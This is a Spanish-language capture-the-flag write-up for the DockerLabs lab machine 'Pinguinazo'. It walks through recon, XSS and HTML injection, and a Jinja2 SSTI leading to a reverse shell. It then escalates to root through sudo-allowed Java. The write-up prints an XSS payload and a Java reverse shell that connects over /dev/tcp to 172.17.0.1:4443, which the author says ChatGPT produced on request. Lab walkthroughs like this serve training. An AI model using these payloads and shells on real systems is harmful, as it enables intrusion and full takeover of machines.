Pinguinazo - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | ElPinguinoDeMario |
Reconocimiento
Vemos el puerto 5000 abierto
Vamos a ver qué hay en ese puerto
Nos encontramos esta página web con unos campos para rellenar, vamos a pasarle el WhatWeb a ver qué nos dice
Tenemos diferentes versiones de Werkzeug Python
Si rellenamos los campos, vemos lo siguiente
Vamos a pasarle Gobuster a ver si encuentra algo y únicamente nos encuentra un /console que nos pide un PIN
Explotación
En el campo PinguNombre si probamos de inyectar código malicioso como por ejemplo:
<script>alert('XSS')</script>
vemos lo siguiente:
Entonces esto es vulnerable a Cross-Site Scripting (XSS). Vamos a intentar otras vulnerabilidades web como HTML Injection
También es vulnerable. Vamos a probar con una vulnerabilidad de SSTI
Accedemos a esta página y nos dirigimos a la parte que dice Exploit the SSTI by calling os.popen().read(
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2—remote-code-execution
Introducimos este código que lo encontramos en la página de Github y vemos que también es vulnerable.
Ahora vamos a aprovechar el SSTI para mandarnos una reverse shell y poder acceder a la máquina
Intrusión
Y conseguimos acceder a la máquina
Ahora vamos a buscar la forma de escalar privilegios
Escalada de privilegios
Vemos que podemos ejecutar Java como root, en GTFOBins no aparece nada y en la máquina no aparece ningún script en Java, entonces le pedimos a ChatGPT que nos haga una Reverse Shell en Java
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4443 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Lo ejecutamos de la siguiente forma
sudo -u root /usr/bin/java /tmp/r.java
Y ya somos ROOT